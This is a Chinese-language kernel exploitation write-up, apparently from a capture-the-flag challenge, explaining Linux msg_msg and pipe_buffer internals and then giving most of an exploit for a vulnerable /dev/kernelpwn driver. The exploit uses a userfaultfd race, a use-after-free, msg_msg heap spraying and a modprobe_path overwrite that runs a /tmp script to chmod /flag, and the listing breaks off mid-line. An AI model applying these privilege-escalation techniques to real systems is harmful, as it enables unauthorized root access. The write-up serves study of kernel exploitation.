消息队列是Linux的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。
1
2
3
4
5
6
7
8
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
void
*
security;
/
*
the actual message follows immediately
*
/
};
1
2
3
struct list_head {
struct list_head
*
next
,
*
prev;
};
1
2
3
4
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
1
int
msgget(key_t key,
int
msgflag)
调用msgget函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个msg_queue
结构体当消息队列msg_msg
双向循环链表的起始节点。
需要注意的是后续若某进程调用msgsnd
函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv
需要有读权限。这是由msgget
函数中的第二个参数中的权限控制符所决定的。
1
int
msgsnd(
int
msqid, const void
*
msgp, size_t msgsz,
int
msgflg)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
DEFINE_WAKE_Q(wake_q);
ns
=
current
-
>nsproxy
-
>ipc_ns;
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
msg
=
load_msg(mtext, msgsz);
...........
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
alen
=
min
(
len
, DATALEN_MSG);
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
1
ssize_t msgrcv(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static struct msg_msg
*
find_msg(struct msg_queue
*
msq,
long
*
msgtyp,
int
mode)
{
struct msg_msg
*
msg,
*
found
=
NULL;
long
count
=
0
;
list_for_each_entry(msg, &msq
-
>q_messages, m_list)
{
if
(testmsg(msg,
*
msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq
-
>q_perm, msg, current,
*
msgtyp, mode))
{
if
(mode
=
=
SEARCH_LESSEQUAL && msg
-
>m_type !
=
1
)
{
*
msgtyp
=
msg
-
>m_type
-
1
;
found
=
msg;
}
else
if
(mode
=
=
SEARCH_NUMBER)
{
if
(
*
msgtyp
=
=
count)
return
msg;
}
else
return
msg;
count
+
+
;
}
}
return
found ?: ERR_PTR(
-
EAGAIN);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static
int
testmsg(struct msg_msg
*
msg,
long
type
,
int
mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return
1
;
case SEARCH_LESSEQUAL:
if
(msg
-
>m_type <
=
type
)
return
1
;
break
;
case SEARCH_EQUAL:
if
(msg
-
>m_type
=
=
type
)
return
1
;
break
;
case SEARCH_NOTEQUAL:
if
(msg
-
>m_type !
=
type
)
return
1
;
break
;
}
return
0
;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static inline
int
convert_mode(
long
*
msgtyp,
int
msgflg)
{
if
(msgflg & MSG_COPY)
return
SEARCH_NUMBER;
/
*
*
find message of correct
type
.
*
msgtyp
=
0
=
> get first.
*
msgtyp >
0
=
> get first message of matching
type
.
*
msgtyp <
0
=
> get message with least
type
must be <
abs
(msgtype).
*
/
if
(
*
msgtyp
=
=
0
)
return
SEARCH_ANY;
if
(
*
msgtyp <
0
) {
if
(
*
msgtyp
=
=
LONG_MIN)
/
*
-
LONG_MIN
is
undefined
*
/
*
msgtyp
=
LONG_MAX;
else
*
msgtyp
=
-
*
msgtyp;
return
SEARCH_LESSEQUAL;
}
if
(msgflg & MSG_EXCEPT)
return
SEARCH_NOTEQUAL;
return
SEARCH_EQUAL;
}
特例:MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static
long
do_msgrcv(
int
msqid, void __user
*
buf, size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t))
{
int
mode;
struct msg_queue
*
msq;
struct ipc_namespace
*
ns;
struct msg_msg
*
msg,
*
copy
=
NULL;
...........
...........
list_del(&msg
-
>m_list);
...........
...........
free_msg(msg);
return
bufsz;
内核首先会调用 list_del()
将其从 msg_queue
的双向链表上 unlink,之后再调用 free_msg()
释放 msg_msg
单向链表上的所有消息。
1
bufsz
=
msg_handler(buf, msg, bufsz);
1
2
3
4
5
long
ksys_msgrcv(
int
msqid, struct msgbuf __user
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg)
{
return
do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
static
long
do_msg_fill(void __user
*
dest, struct msg_msg
*
msg, size_t bufsz)
{
struct msgbuf __user
*
msgp
=
dest;
size_t msgsz;
if
(put_user(msg
-
>m_type, &msgp
-
>mtype))
return
-
EFAULT;
msgsz
=
(bufsz > msg
-
>m_ts) ? msg
-
>m_ts : bufsz;
if
(store_msg(msgp
-
>mtext, msg, msgsz))
return
-
EFAULT;
return
msgsz;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
若有MSG_COPY
标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.
不会调用list_del()
去进行unlink
,并且最后free_msg()
释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY
多次读取一条消息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if
(!IS_ERR(msg)) {
/
*
*
Found a suitable message.
*
Unlink it
from
the queue.
*
/
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
*
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。
1
2
3
4
5
6
7
8
9
10
11
static inline struct msg_msg
*
prepare_copy(void __user
*
buf, size_t bufsz)
{
struct msg_msg
*
copy;
/
*
*
Create dummy message to copy real message to.
*
/
copy
=
load_msg(buf, bufsz);
if
(!IS_ERR(copy))
copy
-
>m_ts
=
bufsz;
return
copy;
但是需要注意的是,我们需要伪造我们需要读的地址target的next
指针为NULL,不然在store_msg
进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULL
or target->next->next==NULL
,反正需要我们伪造的任意读链表存在一个NULL节点
,且中途不能到达不可读地址,否则会造成kernel panic。
在do_msgsnd
函数中调用了load_msg
进行用户到内核的数据拷贝,若我们利用userfault
机制暂停一个线程,再在另一个线程中篡改掉msg->next
指针,则可以实现任意地址写。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
struct list_head {
uint64_t
next
;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t
next
;
uint64_t security;
};
struct msg_msgseg {
uint64_t
next
;
};
struct msgbuf {
long
mtype;
char mtext[
0
];
};
int
getMsgQueue(void)
{
return
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
}
int
readMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
0
);
}
/
*
*
*
the msgp should be a pointer to the `struct msgbuf`,
*
and
the data should be stored
in
msgbuf.mtext
*
/
int
writeMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
((struct msgbuf
*
)msgp)
-
>mtype
=
msgtyp;
return
msgsnd(msqid, msgp, msgsz,
0
);
}
/
*
for
MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue
*
/
int
peekMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg
*
msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t
next
, uint64_t security)
{
msg
-
>m_list.
next
=
m_list_next;
msg
-
>m_list.prev
=
m_list_prev;
msg
-
>m_type
=
m_type;
msg
-
>m_ts
=
m_ts;
msg
-
>
next
=
next
;
msg
-
>security
=
security;
}
pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于pipe
族系统调用实现(而非open()
)。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区。
pipe() 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道,直到读端读取数据。
1
2
3
4
5
6
7
struct pipe_buffer {
struct page
*
page;
unsigned
int
offset,
len
;
const struct pipe_buf_operations
*
ops;
unsigned
int
flags;
unsigned
long
private;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct pipe_inode_info
*
alloc_pipe_info(void)
{
struct pipe_inode_info
*
pipe;
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
struct user_struct
*
user
=
get_current_user();
unsigned
long
user_bufs;
unsigned
int
max_size
=
READ_ONCE(pipe_max_size);
pipe
=
kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if
(pipe
=
=
NULL)
goto out_free_uid;
if
(pipe_bufs
*
PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs
=
max_size >> PAGE_SHIFT;
user_bufs
=
account_pipe_buffers(user,
0
, pipe_bufs);
if
(too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs
=
account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs
=
PIPE_MIN_DEF_BUFFERS;
}
if
(too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
pipe
-
>bufs
=
kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
if
(pipe
-
>bufs) {
init_waitqueue_head(&pipe
-
>rd_wait);
init_waitqueue_head(&pipe
-
>wr_wait);
pipe
-
>r_counter
=
pipe
-
>w_counter
=
1
;
pipe
-
>max_usage
=
pipe_bufs;
pipe
-
>ring_size
=
pipe_bufs;
pipe
-
>nr_accounted
=
pipe_bufs;
pipe
-
>user
=
user;
mutex_init(&pipe
-
>mutex);
return
pipe;
}
out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs,
0
);
kfree(pipe);
out_free_uid:
free_uid(user);
return
NULL;
}
1
2
3
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
pipe
-
>bufs
=
kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct pipe_buf_operations {
/
*
*
-
>confirm() verifies that the data
in
the pipe
buffer
is
there
*
and
that the contents are good. If the pages
in
the pipe belong
*
to a
file
system, we may need to wait
for
IO completion
in
this
*
hook. Returns
0
for
good,
or
a negative error value
in
case of
*
error. If
not
present
all
pages are considered good.
*
/
int
(
*
confirm)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
When the contents of this pipe
buffer
has been completely
*
consumed by a reader,
-
>release()
is
called.
*
/
void (
*
release)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
Attempt to take ownership of the pipe
buffer
and
its contents.
*
-
>try_steal() returns
%
true
for
success,
in
which case the contents
*
of the pipe (the buf
-
>page)
is
locked
and
now completely owned by the
*
caller. The page may then be transferred to a different mapping, the
*
most often used case
is
insertion into different
file
address space
*
cache.
*
/
bool
(
*
try_steal)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
Get a reference to the pipe
buffer
.
*
/
bool
(
*
get)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
};
主要关注其release
指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer
也会被释放。调用的是函数表中的release
指针。调用路径为:free_pipe_info->pipe_buf_release
1
2
3
4
5
6
7
8
9
10
11
12
static ssize_t
pipe_write(struct kiocb
*
iocb, struct iov_iter
*
from
)
{
...
...
buf
=
&pipe
-
>bufs[head & mask];
buf
-
>page
=
page;
buf
-
>ops
=
&anon_pipe_buf_ops;
buf
-
>offset
=
0
;
buf
-
>
len
=
0
;
...
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
__fastcall kernel_release(inode
*
inode,
file
*
filp)
{
char
*
*
v2;
/
/
rax
int
result;
/
/
eax
_fentry__();
v2
=
addrList;
do
*
v2
+
+
=
0LL
;
while
( v2 !
=
&addrList[
32
] );
kfree(
buffer
, filp);
result
=
0
;
flags
=
0
;
return
result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void kernel_open()
{
__int64 v0;
/
/
rdi
_fentry__();
if
( !flags )
{
v0
=
kmalloc_caches[
8
];
flags
=
1
;
buffer
=
(char
*
)kmem_cache_alloc_trace(v0,
0xCC0LL
,
0x100LL
);
if
(
buffer
)
kernel_open_cold();
}
}
但是由于kernel_read
和kernel_write
,kernel_open
与kernel_release
均未加锁,且read
与write
中含有类似于如下的copy_to_user
操作:
1
2
if
( copy_to_user(a2, v4, v5) )
return
-
2LL
;
所有功能都未加锁,因此可以用userfaultfd
在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。
笔者最先考虑的是用pipe_buffer
提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release
函数指针更改为某个栈迁移gadget即可。
同时还有例如mov esp,esi
类型的gadget
,由于intel x86&x64
的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。
同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER
保护,因此笔者选择用UAF
劫持0x400 size的freelist
到modprobe_path
附近,更改modprobe_path
。
因为modprobe_path
是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe
是安装某个内核模块,而kmod
是一个用于控制linux内核模块的程序,因此在后续调用中需要用到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
size_t fd;
size_t kernel_base;
size_t tmp_buf[
0x500
];
char
*
msg_buf;
size_t fake_ops_buf[
0x100
];
int
ms_qid[
0x100
];
int
pipe_fd[
0x20
][
2
];
sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;
struct list_head {
size_t
next
;
size_t prev;
};
struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t
next
;
size_t security;
};
struct msg_msgseg {
size_t
next
;
};
/
/
struct msgbuf {
/
/
long
mtype;
/
/
char mtext[
0
];
/
/
};
int
getMsgQueue(void)
{
return
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
}
int
readMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
0
);
}
/
*
*
*
the msgp should be a pointer to the `struct msgbuf`,
*
and
the data should be stored
in
msgbuf.mtext
*
/
int
writeMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
((struct msgbuf
*
)msgp)
-
>mtype
=
msgtyp;
return
msgsnd(msqid, msgp, msgsz,
0
);
}
/
*
for
MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue
*
/
int
peekMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg
*
msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t
next
, size_t security)
{
msg
-
>m_list.
next
=
m_list_next;
msg
-
>m_list.prev
=
m_list_prev;
msg
-
>m_type
=
m_type;
msg
-
>m_ts
=
m_ts;
msg
-
>
next
=
next
;
msg
-
>security
=
security;
}
typedef struct delete
{
size_t idx;
}delete_arg;
typedef struct edit
{
size_t idx;
size_t size;
char
*
content;
}edit_arg;
typedef struct add
{
size_t idx;
char
*
content;
}add_arg;
void ErrExit(char
*
err_msg)
{
puts(err_msg);
exit(
-
1
);
}
void add(char
*
content)
{
add_arg tmp
=
{
.content
=
content,
};
ioctl(fd,
0x20
,&tmp);
}
void delete(size_t idx)
{
delete_arg tmp
=
{
.idx
=
idx,
};
ioctl(fd,
0x30
,&tmp);
}
void edit(size_t idx,size_t size,char
*
content)
{
edit_arg tmp
=
{
.idx
=
idx,
.size
=
size,
.content
=
content,
};
ioctl(fd,
0x50
,&tmp);
}
void leak(size_t
*
content,size_t size)
{
printf(
"[*]Leak: "
);
for
(
int
i
=
0
;i<(
int
)(size
/
8
);i
+
+
)
{
printf(
"%llx\n"
,content[i]);
}
}
void RegisterUserfault(void
*
fault_page, void
*
handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd
=
syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api
=
UFFD_API;
ua.features
=
0
;
if
(ioctl(uffd, UFFDIO_API, &ua)
=
=
-
1
)
ErrExit(
"[-] ioctl-UFFDIO_API"
);
ur.
range
.start
=
(unsigned
long
)fault_page;
/
/
我们要监视的区域
ur.
range
.
len
=
PAGE_SIZE;
ur.mode
=
UFFDIO_REGISTER_MODE_MISSING;
if
(ioctl(uffd, UFFDIO_REGISTER, &ur)
=
=
-
1
)
/
/
注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit(
"[-] ioctl-UFFDIO_REGISTER"
);
/
/
开一个线程,接收错误的信号,然后处理
int
s
=
pthread_create(&thr, NULL,handler, (void
*
)uffd);
if
(s!
=
0
)
ErrExit(
"[-] pthread_create"
);
}
static char
*
page
=
NULL;
/
/
你要拷贝进去的数据
static char
*
buf
=
NULL;
static char
*
buf2
=
NULL;
static char
*
buf3
=
NULL;
static
long
page_size;
static void
*
fault_handler_thread(void
*
arg)
{
struct uffd_msg msg;
unsigned
long
uffd
=
(unsigned
long
) arg;
puts(
"[+] sleep3 handler created"
);
int
nready;
struct pollfd pollfd;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
nready
=
poll(&pollfd,
1
,
-
1
);
puts(
"[+] sleep3 handler unblocked"
);
sem_post(&sem_addmsg);
if
(nready !
=
1
)
{
ErrExit(
"[-] Wrong poll return val"
);
}
nready
=
read(uffd, &msg, sizeof(msg));
if
(nready <
=
0
)
{
ErrExit(
"[-] msg err"
);
}
sem_wait(&sem_editmsg);
char
*
page
=
(char
*
) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
if
(page
=
=
MAP_FAILED)
{
ErrExit(
"[-] mmap err"
);
}
struct uffdio_copy uc;
/
/
init page
memset(page,
0
, sizeof(page));
memset(tmp_buf,
0
,
0x50
);
tmp_buf[
3
]
=
0xd00
;
memcpy(page,tmp_buf,
0x50
);
/
/
strcpy(page,
"Lotus_just_Test"
);
uc.src
=
(unsigned
long
) page;
uc.dst
=
(unsigned
long
) msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);
uc.
len
=
PAGE_SIZE;
uc.mode
=
0
;
uc.copy
=
0
;
ioctl(uffd, UFFDIO_COPY, &uc);
puts(
"[+] sleep3 handler done"
);
return
NULL;
}
void UAF()
{
sem_wait(&sem_addmsg);
delete(
0
);
/
/
RED puts(
"in"
); CLOSE
int
ret
=
0
;
for
(
int
i
=
0
; i <
0x1
; i
+
+
)
{
ms_qid[i]
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
if
(ms_qid[i] <
0
)
{
puts(
"[x] msgget!"
);
return
-
1
;
}
}
for
(
int
i
=
0
; i <
0x2
; i
+
+
)
{
memset(msg_buf,
'A'
+
i,
0X400
-
8
);
ret
=
msgsnd(ms_qid[
0
], msg_buf,
0x400
-
0x30
,
0
);
if
(ret <
0
)
{
puts(
"[x] msgsnd!"
);
return
-
1
;
}
}
RED puts(
"[*] msg_msg spraying finish."
); CLOSE
sem_post(&sem_editmsg);
}
static void
*
fault_handler_thread2(void
*
arg)
{
struct uffd_msg msg;
unsigned
long
uffd
=
(unsigned
long
) arg;
puts(
"[+] edit heap->next handler created"
);
int
nready;
struct pollfd pollfd;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
nready
=
poll(&pollfd,
1
,
-
1
);
puts(
"[+] edit heap->next handler unblocked"
);
sem_post(&edit_heap_next);
if
(nready !
=
1
)
{
ErrExit(
"[-] Wrong poll return val"
);
}
nready
=
read(uffd, &msg, sizeof(msg));
if
(nready <
=
0
)
{
ErrExit(
"[-] msg err"
);
}
sem_wait(&edit_down);
char
*
page
=
(char
*
) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
if
(page
=
=
MAP_FAILED)
{
ErrExit(
"[-] mmap err"
);
}
struct uffdio_copy uc;
/
/
init page
memset(page,
0
, sizeof(page));
memcpy(page,fake_ops_buf,
0x208
);
/
/
leak(page,
0x208
);
/
/
strcpy(page,
"Lotus_just_Test"
);
uc.src
=
(unsigned
long
) page;
uc.dst
=
(unsigned
long
) msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);
uc.
len
=
PAGE_SIZE;
uc.mode
=
0
;
uc.copy
=
0
;
ioctl(uffd, UFFDIO_COPY, &uc);
puts(
"[+] edit heap->next handler down!"
);
return
NULL;
}
void UAF2()
{
sem_wait(&edit_heap_next);
delete(
0
);
sem_post(&edit_down);
}
void modprobe_path_hijack(void){
puts(
"[*] Returned to userland, setting up for fake modprobe"
);
system(
"echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh"
);
system(
"chmod +x /tmp/Lotus.sh"
);
system(
"echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake"
);
system(
"chmod +x /tmp/fake"
);
/
/
system(
"cat /proc/sys/kernel/modprobe"
);
puts(
"[*] Run unknown file"
);
system(
"/tmp/fake"
);
system(
"ls -al /flag"
);
system(
"cat /flag"
);
RED puts(
"[*]Get shell!"
); CLOSE
sleep(
5
);
}
int
main()
{
pthread_t edit_t,edit2_t;
msg_buf
=
malloc(
0x1000
);
memset(msg_buf,
0
,
0x1000
);
fd
=
open
(
"/dev/kernelpwn"
,O_RDWR);
buf
=
(char
*
) mmap(NULL,
0x1000
, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
for
edit msg
-
>m_ts
buf2
=
(char
*
) mmap(NULL,
0x1000
, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
for
spray the msg_msg
and
edit msg
-
>
next
RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);
sem_init(&sem_addmsg,
0
,
0
);
sem_init(&sem_editmsg,
0
,
0
);
sem_init(&edit_heap_next,
0
,
0
);
sem_init(&sem_edit_msg_for_modpath,
0
,
0
);
sem_init(&edit_down,
0
,
0
);
add(
"TEST_chunk"
);
pthread_create(&edit_t,NULL,UAF,
0
);
pthread_create(&edit2_t,NULL,UAF2,
0
);
edit(
0
,
0x20
,buf);
GREEN puts(
"[*]Write in!"
); CLOSE
for
(
int
i
=
0
; i <
1
; i
+
+
)
{
if
(pipe(pipe_fd[i]) <
0
)
{
RED puts(
"failed to create pipe!"
); CLOSE
}
if
(write(pipe_fd[i][
1
],
"_Lotus_"
,
8
) <
0
)
{
RED puts(
"failed to write the pipe!"
); CLOSE
}
}
RED puts(
"[*] pipe_buffer spraying finish."
); CLOSE
memset(tmp_buf,
0
,
0x1000
);
if
(peekMsg(ms_qid[
0
